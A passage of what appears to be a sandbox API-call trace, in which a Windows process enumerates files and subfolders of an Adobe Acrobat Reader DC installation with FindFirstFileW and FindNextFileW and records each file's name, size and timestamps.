lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfad8cb5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x4a463, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.api", cAlternateFileName="")) returned 1 [0244.765] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda6f4116, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x4d663, dwReserved0=0x0, dwReserved1=0x0, cFileName="StorageConnectors.api", cAlternateFileName="STORAG~1.API")) returned 1 [0244.765] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2e1b623, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x24063, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updater.api", cAlternateFileName="")) returned 1 [0244.765] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe069e67c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x49a63, dwReserved0=0x0, dwReserved1=0x0, cFileName="weblink.api", cAlternateFileName="")) returned 1 [0244.765] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe069e67c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x49a63, dwReserved0=0x0, dwReserved1=0x0, cFileName="weblink.api", cAlternateFileName="")) returned 0 [0244.765] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0244.766] GetProcessHeap () returned 0xc10000 [0244.766] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0245.115] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdfc09f77, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins3d", cAlternateFileName="PLUG_I~1")) returned 1 [0245.115] GetProcessHeap () returned 0xc10000 [0245.115] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0245.116] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdfc09f77, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0245.118] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdfc09f77, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.118] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfb25160, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xa55f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2d.x3d", cAlternateFileName="")) returned 1 [0245.118] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfb4b3cd, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3c3f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3difr.x3d", cAlternateFileName="")) returned 1 [0245.118] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfb71615, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xc3ff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="drvDX9.x3d", cAlternateFileName="")) returned 1 [0245.119] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfafef26, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2c1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="drvSOFT.x3d", cAlternateFileName="")) returned 1 [0245.119] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x34102da0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x34102da0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prc", cAlternateFileName="")) returned 1 [0245.119] GetProcessHeap () returned 0xc10000 [0245.120] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0245.121] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x34102da0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x34102da0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0245.122] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x34102da0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x34102da0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.122] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x34102da0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x131c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadCAD.otf", cAlternateFileName="MYRIAD~1.OTF")) returned 1 [0245.122] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x34102da0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x131c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadCAD.otf", cAlternateFileName="MYRIAD~1.OTF")) returned 0 [0245.123] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0245.123] GetProcessHeap () returned 0xc10000 [0245.123] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0245.123] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfbe3d1f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2437f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prcr.x3d", cAlternateFileName="")) returned 1 [0245.123] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x5df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tesselate.x3d", cAlternateFileName="TESSEL~1.X3D")) returned 1 [0245.123] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x5df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tesselate.x3d", cAlternateFileName="TESSEL~1.X3D")) returned 0 [0245.124] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0245.124] GetProcessHeap () returned 0xc10000 [0245.124] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0245.124] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37adee54, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="pmd.cer", cAlternateFileName="")) returned 1 [0245.124] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b7a5f26, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0xd250, dwReserved0=0x0, dwReserved1=0x0, cFileName="reader_sl.exe", cAlternateFileName="READER~1.EXE")) returned 1 [0245.125] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1bb1353b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x184a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="rt3d.dll", cAlternateFileName="")) returned 1 [0245.125] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37cf4fbf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RTC.der", cAlternateFileName="")) returned 1 [0245.125] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x386f10de, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x8f8a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScCore.dll", cAlternateFileName="")) returned 1 [0245.125] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b7cc16f, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x4ee50, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlite.dll", cAlternateFileName="")) returned 1 [0245.125] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387172c5, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38907108, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tracker", cAlternateFileName="")) returned 1 [0245.125] GetProcessHeap () returned 0xc10000 [0245.125] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0245.125] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387172c5, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38907108, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0245.129] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387172c5, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38907108, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.130] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387172c5, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="add_reviewer.gif", cAlternateFileName="ADD_RE~1.GIF")) returned 1 [0245.130] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3873d518, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x53, dwReserved0=0x0, dwReserved1=0x0, cFileName="bl.gif", cAlternateFileName="")) returned 1 [0245.130] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x52, dwReserved0=0x0, dwReserved1=0x0, cFileName="br.gif", cAlternateFileName="")) returned 1 [0245.131] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x4aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="create_form.gif", cAlternateFileName="CREATE~1.GIF")) returned 1 [0245.131] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x335, dwReserved0=0x0, dwReserved1=0x0, cFileName="distribute_form.gif", cAlternateFileName="DISTRI~1.GIF")) returned 1 [0245.131] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x5a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="email_all.gif", cAlternateFileName="EMAIL_~1.GIF")) returned 1 [0245.131] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x550, dwReserved0=0x0, dwReserved1=0x0, cFileName="email_initiator.gif", cAlternateFileName="EMAIL_~2.GIF")) returned 1 [0245.131] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="ended_review_or_form.gif", cAlternateFileName="ENDED_~1.GIF")) returned 1 [0245.131] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="end_review.gif", cAlternateFileName="END_RE~1.GIF")) returned 1 [0245.131] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x0, cFileName="forms_distributed.gif", cAlternateFileName="FORMS_~1.GIF")) returned 1 [0245.132] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x0, dwReserved1=0x0, cFileName="forms_received.gif", cAlternateFileName="FORMS_~2.GIF")) returned 1 [0245.132] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="forms_super.gif", cAlternateFileName="FORMS_~3.GIF")) returned 1 [0245.132] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="form_responses.gif", cAlternateFileName="FORM_R~1.GIF")) returned 1 [0245.132] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="info.gif", cAlternateFileName="")) returned 1 [0245.132] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2e9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0245.132] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | 